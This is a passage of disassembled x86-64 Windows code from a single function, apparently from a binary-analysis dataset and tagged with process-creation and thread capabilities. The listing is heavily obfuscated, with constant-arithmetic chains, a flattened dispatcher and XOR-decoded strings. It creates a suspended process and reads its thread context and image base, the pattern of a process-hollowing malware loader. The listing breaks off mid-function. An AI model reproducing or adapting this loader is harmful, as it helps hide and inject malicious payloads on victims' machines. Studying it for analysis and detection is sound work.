Function at 0x140078b9a
Capabilities:
Create process on windows
Resume thread
Terminate process

Disassembly:
push rax
pushf
mov eax, 0xb25aba6f
pushf
not eax
add eax, 0xdb8fc0db
xor eax, 0xdc94b7b8
rol eax, 0x69
popf
pushf
not eax
add eax, 0xc6d6ba6a
xor eax, 0x8373127e
rol eax, 0x67
popf
cmp eax, 4
jne 0x140078bd7
popf
pop rax
jmp 0x140079976
cmp eax, 0
jne 0x140078be6
popf
pop rax
jmp 0x140078d99
cmp eax, 3
jne 0x140078bf5
popf
pop rax
jmp 0x1400793be
cmp eax, 1
jne 0x140078c04
popf
pop rax
jmp 0x14007913b
cmp eax, 0xd
jne 0x140078c13
popf
pop rax
jmp 0x14007ac46
cmp eax, 0x1a
jne 0x140078c22
popf
pop rax
jmp 0x14007b8b8
cmp eax, 0xe
jne 0x140078c31
popf
pop rax
jmp 0x14007ad63
cmp eax, 0xb
jne 0x140078c40
popf
pop rax
jmp 0x14007a454
cmp eax, 0x19
jne 0x140078c4f
popf
pop rax
jmp 0x14007b832
cmp eax, 8
jne 0x140078c5e
popf
pop rax
jmp 0x140079c0d
cmp eax, 0x1d
jne 0x140078c6d
popf
pop rax
jmp 0x14007ba13
cmp eax, 0x17
jne 0x140078c7c
popf
pop rax
jmp 0x14007b376
cmp eax, 0x1c
jne 0x140078c8b
popf
pop rax
jmp 0x14007b99c
cmp eax, 0x12
jne 0x140078c9a
popf
pop rax
jmp 0x14007afc8
cmp eax, 0x18
jne 0x140078ca9
popf
pop rax
jmp 0x14007b7c7
cmp eax, 0x11
jne 0x140078cb8
popf
pop rax
jmp 0x14007aee6
cmp eax, 0x1b
jne 0x140078cc7
popf
pop rax
jmp 0x14007b904
cmp eax, 0x16
jne 0x140078cd6
popf
pop rax
jmp 0x14007b330
cmp eax, 0xa
jne 0x140078ce5
popf
pop rax
jmp 0x140079d55
cmp eax, 0x14
jne 0x140078cf4
popf
pop rax
jmp 0x14007b189
cmp eax, 0xf
jne 0x140078d03
popf
pop rax
jmp 0x14007ae14
cmp eax, 0x13
jne 0x140078d12
popf
pop rax
jmp 0x14007b04f
cmp eax, 0x15
jne 0x140078d21
popf
pop rax
jmp 0x14007b260
cmp eax, 2
jne 0x140078d30
popf
pop rax
jmp 0x140079289
cmp eax, 0x1e
jne 0x140078d3f
popf
pop rax
jmp 0x14007ba50
cmp eax, 0xc
jne 0x140078d4e
popf
pop rax
jmp 0x14007a507
cmp eax, 7
jne 0x140078d5d
popf
pop rax
jmp 0x140079b97
cmp eax, 5
jne 0x140078d6c
popf
pop rax
jmp 0x140079b16
cmp eax, 9
jne 0x140078d7b
popf
pop rax
jmp 0x140079ca2
cmp eax, 0x10
jne 0x140078d8a
popf
pop rax
jmp 0x14007aeaa
cmp eax, 6
jne 0x140078d99
popf
pop rax
jmp 0x140079b73
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
sub rsp, 0x800
lea rbp, [rsp + 0x70]
and rbp, 0xffffffffffffffe0
mov rax, qword [0x140019040]
xor rax, rsp
mov qword [rbp + 0x780], rax
mov rbx, rdx
xor r13d, r13d
lea rdx, [0x18e3f4c76]
pushf
sub rdx, 0x4e3c089e
popf
lea rcx, [rbp + 0x610]
call fcn.14004ae4a
nop
lea rdx, [0x1be0e77ac]
pushf
sub rdx, 0x7e0b34bc
popf
lea rcx, [rbp + 0x630]
call fcn.14004ae4a
nop
lea rdx, [0x184a608bd]
pushf
sub rdx, 0x44a2c4ad
popf
lea rcx, [rbp + 0x650]
call fcn.14004ae4a
nop
lea rdx, [0x18a0a7132]
pushf
sub rdx, 0x4a072d7a
popf
lea rcx, [rbp + 0x670]
call fcn.14004ae4a
nop
lea rdx, [rbp + 0x610]
lea rcx, [rbp + 0x6a0]
call fcn.140062e2a
nop
lea rdx, [rbp + 0x630]
lea rcx, [rbp + 0x6c0]
call fcn.140062e2a
nop
lea rdx, [rbp + 0x650]
lea rcx, [rbp + 0x6e0]
call fcn.140062e2a
nop
lea rdx, [rbp + 0x670]
lea rcx, [rbp + 0x700]
call fcn.140062e2a
nop
movups xmm0, xmmword [rbp + 0x6a0]
movups xmmword [rbp], xmm0
movups xmm1, xmmword [rbp + 0x6b0]
movups xmmword [rbp + 0x10], xmm1
movdqa xmm0, xmmword [0x140013cf0]
movdqu xmmword [rbp + 0x6b0], xmm0
mov byte [rbp + 0x6a0], r13b
movups xmm0, xmmword [rbp + 0x6c0]
movups xmmword [rbp + 0x20], xmm0
movups xmm1, xmmword [rbp + 0x6d0]
movups xmmword [rbp + 0x30], xmm1
movdqa xmm0, xmmword [0x140013cf0]
movdqu xmmword [rbp + 0x6d0], xmm0
mov byte [rbp + 0x6c0], r13b
movups xmm0, xmmword [rbp + 0x6e0]
movups xmmword [rbp + 0x40], xmm0
movups xmm1, xmmword [rbp + 0x6f0]
movups xmmword [rbp + 0x50], xmm1
movdqa xmm0, xmmword [0x140013cf0]
movdqu xmmword [rbp + 0x6f0], xmm0
mov byte [rbp + 0x6e0], r13b
movups xmm0, xmmword [rbp + 0x700]
movups xmmword [rbp + 0x60], xmm0
movups xmm1, xmmword [rbp + 0x710]
movups xmmword [rbp + 0x70], xmm1
movdqa xmm0, xmmword [0x140013cf0]
movdqu xmmword [rbp + 0x710], xmm0
mov byte [rbp + 0x700], r13b
lea rdx, [rbp]
lea rcx, [rbp + 0x578]
call fcn.14003bec4
nop
lea rcx, [rbp + 0x6a0]
call fcn.14004919b
lea rcx, [rbp + 0x578]
cmp qword [rbp + 0x590], 0xf
cmova rcx, qword [rbp + 0x578]
movsxd rax, dword [rcx + 0x3c]
movabs rsi, 0x733a306ef4a5b280
pushf
not rsi
add rsi, 0x403eda8b
xor rsi, 0x7766f8a2
rol rsi, 0x1e
popf
pushf
not rsi
add rsi, 0x53288a24
xor rsi, 0x589d9c57
rol rsi, 0xe1
popf
movabs r15, 0xbf97eefcea3ce558
pushf
not r15
add r15, 0x7cc28cd1
xor r15, 0x4e207f4e
rol r15, 4
popf
pushf
not r15
add r15, 0x48f0498c
xor r15, 0x53d85f1f
rol r15, 0xf8
popf
pushf
not r15
add r15, 0x69b98b3b
xor r15, 0x456e33c6
rol r15, 0xa2
popf
pushf
not r15
add r15, 0x609370a0
xor r15, 0x41ae55d9
rol r15, 0x67
popf
movabs r14, 0xf01e6afdd9b02ccd
pushf
not r14
add r14, 0x709b0206
xor r14, 0x752fcc97
rol r14, 0x2d
popf
pushf
not r14
add r14, 0x6042a00c
xor r14, 0x7f7baa2e
rol r14, 0x6a
popf
pushf
not r14
add r14, 0x5bd245e5
xor r14, 0x5b02c9ea
rol r14, 0xb3
popf
cmp dword [rax + rcx], 0x4550
je 0x1400790f5
push rax
pushf
mov eax, 0xf0085824
pushf
not eax
add eax, 0xe744a0b6
xor eax, 0x8672c846
rol eax, 0x33
popf
pushf
not eax
add eax, 0xaf30b4fd
xor eax, 0x8935003d
rol eax, 0x42
popf
pushf
not eax
add eax, 0xbb4af3cd
xor eax, 0xdc6aa3ec
rol eax, 0x11
popf
pushf
not eax
add eax, 0x820842c1
xor eax, 0xabdf6e7f
rol eax, 0x10
popf
jmp 0x140078bc8
push rax
pushf
mov eax, 0xb7947cc1
pushf
not eax
add eax, 0xbf45111b
xor eax, 0xa4a851c3
rol eax, 0x33
popf
pushf
not eax
add eax, 0x99f26215
xor eax, 0xbee561fc
rol eax, 0xe3
popf
pushf
not eax
add eax, 0x80ff5a17
xor eax, 0xe13e1482
rol eax, 0x60
popf
jmp 0x140078bc8
mov qword [rbp + 0x720], r15
mov qword [rbp + 0x728], rsi
mov qword [rbp + 0x690], r14
mov qword [rbp + 0x698], rsi
movdqa xmm0, xmmword [rbp + 0x720]
xorps xmm0, xmmword [rbp + 0x690]
movdqa xmmword [rbp + 0x720], xmm0
movabs rax, 0x5d1f9b0d940d80d3
pushf
not rax
add rax, 0x59a96afe
xor rax, 0x6e924a10
rol rax, 0x6a
popf
pushf
not rax
add rax, 0x6dbf38e1
xor rax, 0x6a88cba5
rol rax, 0x83
popf
mov qword [rbp + 0x690], rax
movabs rax, 0x2a453e1e34ee35ba
pushf
not rax
add rax, 0x7ab757b7
xor rax, 0x4d7ea2a3
rol rax, 0x88
popf
pushf
not rax
add rax, 0x72a6abbf
xor rax, 0x4aed0be5
rol rax, 0xb6
popf
pushf
not rax
add rax, 0x5c60fd81
xor rax, 0x666329a2
rol rax, 0x48
popf
mov qword [rbp + 0x698], rax
mov qword [rbp + 0x6a0], r14
mov qword [rbp + 0x6a8], rsi
movdqa xmm0, xmmword [rbp + 0x690]
xorps xmm0, xmmword [rbp + 0x6a0]
movdqa xmmword [rbp + 0x690], xmm0
lea r9d, [r13 + 0x10]
lea r8, [rbp + 0x720]
lea rdx, [rbp + 0x690]
xor ecx, ecx
jmp 0x14007923d
call qword [sym.imp.USER32.dll_MessageBoxA]
push rax
pushf
mov eax, 0x437bdfe6
pushf
not eax
add eax, 0xb52f29c1
xor eax, 0x8b8156ec
rol eax, 0x6b
popf
pushf
not eax
add eax, 0xa0963354
xor eax, 0xfd0b2136
rol eax, 0xd
popf
pushf
not eax
add eax, 0x9e5c6be1
xor eax, 0xb705cd8e
rol eax, 0x47
popf
jmp 0x140078bc8
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x5a4], xmm0
movups xmmword [rbp + 0x5b4], xmm0
movups xmmword [rbp + 0x5c4], xmm0
movups xmmword [rbp + 0x5d4], xmm0
movups xmmword [rbp + 0x5e4], xmm0
movups xmmword [rbp + 0x5f4], xmm0
mov dword [rbp + 0x604], eax
mov dword [rbp + 0x5a0], 0x68
movups xmmword [rbp + 0x80], xmm0
mov qword [rbp + 0x90], rax
lea rax, [rbp + 0x80]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x5a0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r13
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], r13d
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, rbx
jmp 0x140079311
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x140079365
push rax
pushf
mov eax, 0x45eba006
pushf
not eax
add eax, 0xebb156b8
xor eax, 0xb2617a0f
rol eax, 0xcf
popf
pushf
not eax
add eax, 0xa36e2fb8
xor eax, 0xefeb9cdd
rol eax, 0x18
popf
pushf
not eax
add eax, 0xf5307686
xor eax, 0xbc5d97c6
rol eax, 0x77
popf
jmp 0x140078bc8
push rax
pushf
mov eax, 0x742524f4
pushf
not eax
add eax, 0x9d8070b9
xor eax, 0x8513f013
rol eax, 0xbe
popf
pushf
not eax
add eax, 0xe6521fd4
xor eax, 0xa9653b65
rol eax, 0x91
popf
pushf
not eax
add eax, 0xc4f59f5f
xor eax, 0xf8b47918
rol eax, 0x88
popf
pushf
not eax
add eax, 0x93d952de
xor eax, 0xc955b108
rol eax, 0xf6
popf
jmp 0x140078bc8
mov qword [rbp + 0x690], r15
mov qword [rbp + 0x698], rsi
mov qword [rbp + 0x6a0], r14
mov qword [rbp + 0x6a8], rsi
movdqa xmm0, xmmword [rbp + 0x690]
xorps xmm0, xmmword [rbp + 0x6a0]
movdqa xmmword [rbp + 0x690], xmm0
movabs rax, 0xb1e4d4081a5db153
pushf
not rax
add rax, 0x7eb84248
xor rax, 0x76918e86
rol rax, 0xe2
popf
pushf
not rax
add rax, 0x797593ab
xor rax, 0x630b2604
rol rax, 0xf1
popf
pushf
not rax
add rax, 0x6e544579
xor rax, 0x6cd5e610
rol rax, 0x67
popf
mov qword [rbp + 0x6a0], rax
movabs rax, 0x54f7a12c65cc835e
pushf
not rax
add rax, 0x6594f5c3
xor rax, 0x7ec9e9c1
rol rax, 0x2d
popf
pushf
not rax
add rax, 0x606ad463
xor rax, 0x6377b052
rol rax, 0xd9
popf
pushf
not rax
add rax, 0x7776de13
xor rax, 0x7a9dd74a
rol rax, 0xb5
popf
pushf
not rax
add rax, 0x60c9ea9c
xor rax, 0x67aadb47
rol rax, 0x66
popf
mov qword [rbp + 0x6a8], rax
movabs rax, 0x3109a5efb6d4027d
pushf
not rax
add rax, 0x750d6310
xor rax, 0x527154cd
rol rax, 0x35
popf
pushf
not rax
add rax, 0x6b68aed4
xor rax, 0x451aa62d
rol rax, 0x44
popf
pushf
not rax
add rax, 0x70735f23
xor rax, 0x75fdc5dc
rol rax, 0xd6
popf
mov qword [rbp + 0x6b0], rax
movabs rax, 0xf0c0e8441fa0d1e3
pushf
not rax
add rax, 0x4453c978
xor rax, 0x67748ba2
rol rax, 0x1d
popf
pushf
not rax
add rax, 0x4b152da4
xor rax, 0x761750c1
rol rax, 0xa2
popf
pushf
not rax
add rax, 0x4e09fbca
xor rax, 0x4a98c3e9
rol rax, 0x11
popf
pushf
not rax
add rax, 0x6926fc59
xor rax, 0x54eb5072
rol rax, 0x32
popf
mov qword [rbp + 0x6b8], rax
movabs rax, 0xbb3814cb747a691e
pushf
not rax
add rax, 0x7e28cf85
xor rax, 0x6297b860
rol rax, 0xab
popf
pushf
not rax
add rax, 0x55e213fa
xor rax, 0x6c68ca41
rol rax, 0x25
popf
mov qword [rbp + 0x6c0], rax
movabs rax, 0xfc4dddb9b41b656c
pushf
not rax
add rax, 0x65991f6f
xor rax, 0x5da7941a
rol rax, 0x52
popf
pushf
not rax
add rax, 0x443b5255
xor rax, 0x6e8174c3
rol rax, 0x61
popf
pushf
not rax
add rax, 0x7abb4200
xor rax, 0x6b63311e
rol rax, 0x4f
popf
mov qword [rbp + 0x6c8], rax
movabs rax, 0xfee95fc7bba38eef
pushf
not rax
add rax, 0x4de0f94c
xor rax, 0x538bddc4
rol rax, 0xfc
popf
pushf
not rax
add rax, 0x4d3d6345
xor rax, 0x5a710996
rol rax, 0xf7
popf
mov qword [rbp + 0x6d0], rax
movabs rax, 0x70c4ffcc2b191994
pushf
not rax
add rax, 0x5ceda61f
xor rax, 0x4cfefec0
rol rax, 0xbd
popf
pushf
not rax
add rax, 0x461b9b71
xor rax, 0x40477199
rol rax, 0x52
popf
pushf
not rax
add rax, 0x45c9f2ee
xor rax, 0x4b752e70
rol rax, 0x14
popf
pushf
not rax
add rax, 0x7c0d4b53
xor rax, 0x79a2d128
rol rax, 0xda
popf
mov qword [rbp + 0x6d8], rax
mov qword [rbp + 0x720], r14
mov qword [rbp + 0x728], rsi
movabs rax, 0x5491eefb55f89ffe
pushf
not rax
add rax, 0x472ac2b4
xor rax, 0x4b56a97e
rol rax, 0x41
popf
pushf
not rax
add rax, 0x6f80acf5
xor rax, 0x65ae9633
rol rax, 0x53
popf
pushf
not rax
add rax, 0x40e5da59
xor rax, 0x635e991f
rol rax, 0x7e
popf
mov qword [rbp + 0x730], rax
movabs rax, 0x9c5efb87d41e154a
pushf
not rax
add rax, 0x5ada79a8
xor rax, 0x78ae9329
rol rax, 0xbf
popf
pushf
not rax
add rax, 0x483a17c9
xor rax, 0x4c0001d7
rol rax, 0x4d
popf
pushf
not rax
add rax, 0x50878cf7
xor rax, 0x792bce43
rol rax, 0x37
popf
mov qword [rbp + 0x738], rax
movabs rax, 0x63d5aeb91e082e2f
pushf
not rax
add rax, 0x462426f9
xor rax, 0x48c03de4
rol rax, 0x8f
popf
pushf
not rax
add rax, 0x6571e84c
xor rax, 0x4bfd31f2
rol rax, 0x66
popf
pushf
not rax
add rax, 0x5445f036
xor rax, 0x607c5e93
rol rax, 0x1a
popf
mov qword [rbp + 0x740], rax
movabs rax, 0x48e99d608019e81b
pushf
not rax
add rax, 0x7aee0b6b
xor rax, 0x51cbd885
rol rax, 0xcb
popf
pushf
not rax
add rax, 0x53fd7d75
xor rax, 0x4751912e
rol rax, 0x56
popf
mov qword [rbp + 0x748], rax
movabs rax, 0xb8ffc3509cfaec2e
pushf
not rax
add rax, 0x6e96cda1
xor rax, 0x5d3a8759
rol rax, 0x8e
popf
pushf
not rax
add rax, 0x762487a7
xor rax, 0x6a31176a
rol rax, 0x4c
popf
mov qword [rbp + 0x750], rax
movabs rax, 0x19551588a0fa80a5
pushf
not rax
add rax, 0x639d8d4b
xor rax, 0x76c2bccc
rol rax, 0xdb
popf
pushf
not rax
add rax, 0x5fe24cdb
xor rax, 0x4753b616
rol rax, 0x98
popf
mov qword [rbp + 0x758], rax
vmovdqu ymm0, ymmword [rbp + 0x720]
vpxor ymm1, ymm0, ymmword [rbp + 0x6a0]
vmovdqa ymmword [rbp + 0x6a0], ymm1
vmovdqu ymm0, ymmword [rbp + 0x6c0]
vpxor ymm1, ymm0, ymmword [rbp + 0x740]
vmovdqa ymmword [rbp + 0x6c0], ymm1
mov r9d, 0x84edde7
pushf
not r9d
add r9d, 0xc7d2f3f1
xor r9d, 0xf070a51d
rol r9d, 0x91
popf
pushf
not r9d
add r9d, 0xf637f76e
xor r9d, 0xcc97d18e
rol r9d, 0xec
popf
pushf
not r9d
add r9d, 0xffd69a7a
xor r9d, 0x89b5068f
rol r9d, 0x2d
popf
pushf
not r9d
add r9d, 0xc8a3e2ee
xor r9d, 0xab5be315
rol r9d, 0xec
popf
lea r8, [rbp + 0x690]
lea rdx, [rbp + 0x6a0]
xor ecx, ecx
vzeroupper
jmp 0x140079933
call qword [sym.imp.USER32.dll_MessageBoxA]
xor ecx, ecx
jmp 0x14007993c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
lea rdx, [rbp + 0x570]
mov rcx, qword [rbp + 0x80]
jmp 0x140079985
call qword [sym.imp.KERNEL32.dll_IsWow64Process]
mov qword [rbp + 0x720], r13
xor edx, edx
mov r8d, 0x5ec41aab
pushf
not r8d
add r8d, 0x9d8d7ea7
xor r8d, 0x97db575f
rol r8d, 0x61
popf
pushf
not r8d
add r8d, 0xe0dc8016
xor r8d, 0xbf7aba45
rol r8d, 0xeb
popf
pushf
not r8d
add r8d, 0x88d5095b
xor r8d, 0xf370bfea
rol r8d, 0x85
popf
lea rcx, [rbp + 0xa0]
call sub.VCRUNTIME140.dll_memset
mov dword [rbp + 0xd0], 0x10000b
lea rdx, [rbp + 0xa0]
mov rcx, qword [rbp + 0x88]
jmp 0x140079a0a
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
mov rdx, qword [rbp + 0x128]
add rdx, 0x10
mov qword [rsp + 0x20], r13
mov r9d, 0x2e11db
pushf
not r9d
add r9d, 0x946bbaaa
xor r9d, 0xcdcb968a
rol r9d, 0x38
popf
pushf
not r9d
add r9d, 0xa7d8c9e1
xor r9d, 0xbde352cc
rol r9d, 0xab
popf
pushf
not r9d
add r9d, 0x859bb3ac
xor r9d, 0x99903cb3
rol r9d, 0x41
popf
lea r8, [rbp + 0x720]
mov rcx, qword [rbp + 0x80]
jmp 0x140079a80
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
test eax, eax
jne 0x140079ae3
push rax
pushf
mov eax, 0xfd98f4d1
pushf
not eax
add eax, 0xe24675a1
xor eax, 0xe9882e62
rol eax, 0x3d
popf
pushf
not eax
add eax, 0x9834b14f
xor eax, 0xa52ff209
rol eax, 0x7e
popf
pushf
not eax
add eax, 0xb2656466
xor eax, 0xc82263fb
rol eax, 0xe1
popf
pushf
not eax
add eax, 0x92ca113c
xor eax, 0xe80c0757
rol eax, 0x17
popf
jmp 0x140078bc8
push rax
pushf
mov eax, 0xa399f29a
pushf
not eax
add eax, 0xdb2083d2
xor eax, 0xc907a07e
rol eax, 0xb2
popf
pushf
not eax
add eax, 0x92f5479b
xor eax, 0xcdcd8d96
rol eax, 0xb3
popf
jmp 0x140078bc8
xorps xmm1, xmm1
xorps xmm0, xmm0
psrldq xmm0, 8
movq rdx, xmm0
movq rax, xmm1
jmp 0x140079b97
mov rax, qword [rbp + 0x128]
mov qword [rbp + 0x6a0], rax
mov rdx, qword [rbp + 0x720]
mov qword [rbp + 0x6a8], rdx
movdqu xmm1, xmmword [rbp + 0x6a0]
movups xmmword [0x1400342c8], xmm1
test rdx, rdx
je 0x140079bda
push rax
pushf
mov eax, 0xadc40900
pushf
not eax
add eax, 0x9cd8edb8
xor eax, 0xda0998bd
rol eax, 0xf7
popf
pushf
not eax
add eax, 0x8b98890c
xor eax, 0x867dba4d
rol eax, 0x35
popf
jmp 0x140078bc8
push rax
pushf
mov eax, 0x770c7234
pushf
not eax
add eax, 0xce9e29fd
xor eax, 0x80ec0d4b
rol eax, 0xe3
popf
pushf
not eax
add eax, 0xd11c1482
xor eax, 0xf52e4062
rol eax, 0xc4
popf
jmp 0x140078bc8
test rax, rax
je 0x140079c6f
push rax
pushf
mov eax, 0xe7cfede
pushf
not eax
add eax, 0xff08ff89
xor eax, 0xd37c48bf
rol eax, 0x98
popf
pushf
not eax
add eax, 0xcfccabcd
xor eax, 0x8ef1d8f6
rol eax, 0x20
popf
pushf
not eax
add eax, 0xd5386389
xor eax, 0xbf4263c9
rol eax, 0x96
popf
pushf
not eax
add eax, 0xecb6f52c
xor eax, 0xf4ef1fd3
rol eax, 0x77
popf
jmp 0x140078bc8
push rax
pushf
mov eax, 0x9aa9819f
pushf
not eax
add eax, 0x9250987c
xor eax, 0xf6d7b462
rol eax, 0x23
popf
pushf
not eax
add eax, 0x9ae01180
xor eax, 0x8f55fb8f
rol eax, 0xb1
popf
jmp 0x140078bc8
lea rcx, [rbp + 0x578]
cmp qword [rbp + 0x590], 0xf
cmova rcx, qword [rbp + 0x578]
movsxd rax, dword [rcx + 0x3c]
cmp word [rax + rcx + 0x5c], 0
jne 0x140079d22
push rax
pushf
mov eax, 0x7c24ba3e
pushf
not eax
add eax, 0xe59ff4cf
xor eax, 0x89231bff
rol eax, 0x93
popf
pushf
not eax
add eax, 0x912c8f1e
xor eax, 0x9330d00e
rol eax, 0xc6
popf
pushf
not eax
add eax, 0xd9581fcb
xor eax, 0xe1675524
rol eax, 0x4b
popf
pushf
not eax
add eax, 0xee5d71cd
xor eax, 0xbb426331
rol eax, 0xce
popf
jmp 0x140078bc8
push rax
pushf
mov eax, 0x9b89c37a
pushf
not eax
add eax, 0xe1f17676
xor eax, 0xb0d49956
rol eax, 0x60
popf
pushf
not eax
add eax, 0x8c21b5ce
xor eax, 0x956e3a20
rol eax, 0xf4
popf
jmp 0x140078bc8
mov qword [rbp + 0x690], r15
mov qword [rbp + 0x698], rsi
mov qword [rbp + 0x6a0], r14
mov qword [rbp + 0x6a8], rsi
movdqa xmm0, xmmword [rbp + 0x690]
xorps xmm0, xmmword [rbp + 0x6a0]
movdqa xmmword [rbp + 0x690], xmm0
movabs rax, 0x7a37bf5a167bc1d6
pushf
not rax
add rax, 0x42320bbd
xor rax, 0x64aed4aa
rol rax, 0x69
popf
pushf
not rax
add rax, 0x5a5b1bad
xor rax, 0x495fe365
rol rax, 0xae
popf
pushf
not rax
add rax, 0x62eacb03
xor rax, 0x4ce31ce2
rol rax, 0x92
popf
pushf
not rax
add rax, 0x52730df2
xor rax, 0x56d7203a
rol rax, 0xb6
popf
mov qword [rbp + 0x720], rax
movabs rax, 0x61f966183147c616
pushf
not rax
add rax, 0x76150557
xor rax, 0x752a82ab
rol rax, 8
popf
pushf
not rax
add rax, 0x5f77a718
xor rax, 0x432ca459
rol rax, 0x73
popf
pushf
not rax
add rax, 0x498f2a8b
xor rax, 0x419cb7c3
rol rax, 0xf6
popf
pushf
not rax
add rax, 0x6beb9450
xor rax, 0x49746fb5
rol rax, 0xf0
popf
mov qword [rbp + 0x728], rax
movabs rax, 0x3bb18d45d67c99a
pushf
not rax
add rax, 0x50d1ab7d
xor rax, 0x558665d3
rol rax, 0x7a
popf
pushf
not rax
add rax, 0x65df5abb
xor rax, 0x688d6578
rol rax, 0x52
popf
pushf
not rax
add rax, 0x51a9ecf6
xor rax, 0x4cab71a3
rol rax, 0x4a
popf
pushf
not rax
add rax, 0x56e069dc
xor rax, 0x62193384
rol rax, 0x5b
popf
mov qword [rbp + 0x730], rax
movabs rax, 0xad004dc57a2ecf63
pushf
not rax
add rax, 0x778c3fa8
xor rax, 0x68faf5ef
rol rax, 0x42
popf
pushf
not rax
add rax, 0x73e967d9
xor rax, 0x74407753
rol rax, 0x97
popf
pushf
not rax
add rax, 0x5b52df01
xor rax, 0x685a5a5a
rol rax, 0xc5
popf
mov qword [rbp + 0x738], rax
movabs rax, 0x60715534c9870c2c
pushf
not rax
add rax, 0x41710be1
xor rax, 0x4c4698af
rol rax, 0x88
popf
pushf
not rax
add rax, 0x7807fd74
xor rax, 0x5f460ce9
rol rax, 0xfe
popf
mov qword [rbp + 0x740], rax
movabs rax, 0xcd811963a8e35977
pushf
not rax
add rax, 0x6334a333
xor rax, 0x73ac551a
rol rax, 0x71
popf
pushf
not rax
add rax, 0x6e73cb09
xor rax, 0x7a07cf21
rol rax, 0x7d
popf
pushf
not rax
add rax, 0x5ca64b01
xor rax, 0x578a9b2d
rol rax, 0x44
popf
pushf
not rax
add rax, 0x533a2866
xor rax, 0x6af26018
rol rax, 0x64
popf
mov qword [rbp + 0x748], rax
movabs rax, 0xe849bbfceeaffcf9
pushf
not rax
add rax, 0x684d7542
xor rax, 0x62f5df1c
rol rax, 0x7b
popf
pushf
not rax
add rax, 0x55746577
xor rax, 0x5da07cb1
rol rax, 0x39
popf
pushf
not rax
add rax, 0x4106a25c
xor rax, 0x401a01bb
rol rax, 0xf8
popf
pushf
not rax
add rax, 0x64944581
xor rax, 0x51a73ce5
rol rax, 0x84
popf
mov qword [rbp + 0x750], rax
movabs rax, 0x9b6694a1cd9288
pushf
not rax
add rax, 0x661acf6a
xor rax, 0x6fd23137
rol rax, 0x66
popf
pushf
not rax
add rax, 0x6d3f9157
xor rax, 0x56ddaabe
rol rax, 6
popf
mov qword [rbp + 0x758], rax
movabs rax, 0x34a2da9847073c7c
pushf
not rax
add rax, 0x5c4d7afa
xor rax, 0x59c78b6a
rol rax, 0xd6
popf
pushf
not rax
add rax, 0x683debbf
xor rax, 0x55c7e1e7
rol rax, 0xb0
popf
mov qword [rbp + 0x760], rax
movabs rcx, 0x56c2b048caaeafa5
pushf
not rcx
add rcx, 0x536e71ec
xor rcx, 0x57d0dd53
rol rcx, 0xcd
popf
pushf
not rcx
add rcx, 0x44d02c5d
xor rcx, 0x7ef931d2
rol rcx, 0x70
popf
mov qword [rbp + 0x768], rcx
mov qword [rbp + 0x6a0], r14
mov qword [rbp + 0x6a8], rsi
movabs rax, 0x462e08165978d1c4
pushf
not rax
add rax, 0x705030fa
xor rax, 0x484ca262
rol rax, 0xfc
popf
pushf
not rax
add rax, 0x7c933c6f
xor rax, 0x62a866c8
rol rax, 0x7e
popf
pushf
not rax
add rax, 0x547be5b1
xor rax, 0x670dda40
rol rax, 0xc1
popf
pushf
not rax
add rax, 0x7a0e9963
xor rax, 0x51a05690
rol rax, 0x23
popf
mov qword [rbp + 0x6b0], rax
movabs rax, 0x6189fdfa3da852f4
pushf
not rax
add rax, 0x45cda562
xor rax, 0x7ed010d3
rol rax, 0x70
popf
pushf
not rax
add rax, 0x7a225d58
xor rax, 0x4fa4e4b3
rol rax, 0x51
popf
pushf
not rax
add rax, 0x63399ca7
xor rax, 0x61ecf00b
rol rax, 0x8c
popf
mov qword [rbp + 0x6b8], rax
movabs rax, 0x3cd635626b3e5e91
pushf
not rax
add rax, 0x5adc55a6
xor rax, 0x6180c87c
rol rax, 0x49
popf
pushf
not rax
add rax, 0x419783a7
xor rax, 0x4ff64f58
rol rax, 0xf4
popf
pushf
not rax
add rax, 0x72a8e10c
xor rax, 0x66bd8627
rol rax, 0x40
popf
mov qword [rbp + 0x6c0], rax
movabs rax, 0x441fa5b5df075b43
pushf
not rax
add rax, 0x708ff817
xor rax, 0x59f82265
rol rax, 0xfe
popf
pushf
not rax
add rax, 0x7fd3e15a
xor rax, 0x7ea2b193
rol rax, 0xd3
popf
pushf
not rax
add rax, 0x51886a32
xor rax, 0x5ab57b87
rol rax, 0x63
popf
mov qword [rbp + 0x6c8], rax
movabs rax, 0x86ccc0292a1cf3d9
pushf
not rax
add rax, 0x48b03e09
xor rax, 0x425080ce
rol rax, 0xd8
popf
pushf
not rax
add rax, 0x4bfb7f48
xor rax, 0x6db451a2
rol rax, 0x1e
popf
mov qword [rbp + 0x6d0], rax
movabs rax, 0x6890a3e3aa41f9ff
pushf
not rax
add rax, 0x4a6613f8
xor rax, 0x7375cebb
rol rax, 0xa2
popf
pushf
not rax
add rax, 0x58ff5862
xor rax, 0x41b7684e
rol rax, 0x13
popf
pushf
not rax
add rax, 0x5bb2a91c
xor rax, 0x40e2b9a9
rol rax, 0x6b
popf
mov qword [rbp + 0x6d8], rax
movabs rax, 0x99fdd4a1dc8bdda2
pushf
not rax
add rax, 0x7fc8dc55
xor rax, 0x6d3e4a63
rol rax, 0x6a
popf
pushf
not rax
add rax, 0x60c1f24f
xor rax, 0x7ef8b3ad
rol rax, 2
popf
mov qword [rbp + 0x6e0], rax
mov qword [rbp + 0x6e8], rcx
vmovdqu ymm0, ymmword [rbp + 0x6a0]
vpxor ymm1, ymm0, ymmword [rbp + 0x720]
vmovdqa ymmword [rbp + 0x720], ymm1
vmovdqu ymm0, ymmword [rbp + 0x740]
vpxor ymm1, ymm0, ymmword [rbp + 0x6c0]
vmovdqa ymmword [rbp + 0x740], ymm1
vmovdqa xmm2, xmmword [rbp + 0x760]
vxorps xmm2, xmm2, xmmword [rbp + 0x6e0]
vmovdqa xmmword [rbp + 0x760], xmm2
mov r9d, 0x933ef7e2
pushf
not r9d
add r9d, 0xcd5de8dd
xor r9d, 0xe51a5959
rol r9d, 0xb7
popf
pushf
not r9d
add r9d, 0xb75fe2ea
xor r9d, 0xe570e095
rol r9d, 0xb5
popf
lea r8, [rbp + 0x690]
